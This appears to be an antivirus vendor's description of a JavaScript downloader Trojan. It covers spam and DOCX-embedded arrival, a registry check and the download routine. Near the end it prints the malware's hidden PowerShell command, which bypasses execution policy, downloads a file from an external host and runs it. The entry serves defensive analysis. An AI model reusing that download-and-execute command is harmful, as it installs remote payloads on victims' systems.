JS_DLOADR.YYSSS

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

This malware arrives via the following means:

• As an embedded file on a document detected as TROJ_DLOADR.YYSSS.

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Download Routine

This Trojan accesses the following websites to download files:

• http://upload.{BLOCKED}gehomesrealestate.com/3281.bin?wQSNhjk

It saves the files it downloads using the following names:

• %User Profile%\AppData\RoamingSoe36.exe

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003, or C:\Users\{user name} on Windows Vista and 7.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

• It queries the following registry entry and uses the 12th character of its data for its routine. It will not proceed with its intended routine if the character is not "F".
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
• It executes the following command for its download routine:
  "%System%\cmd.exe" /c ping localhost & powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://upload.{BLOCKED}gehomesrealestate.com/3281.bin?wQSNhjk','%AppdAta%Soe36.exe '); staRt-process '%ApPdAtA%Soe36.exe';

NOTES:

This malware arrives through a DOCX file. It is embedded and will execute its routine upon activation by the user: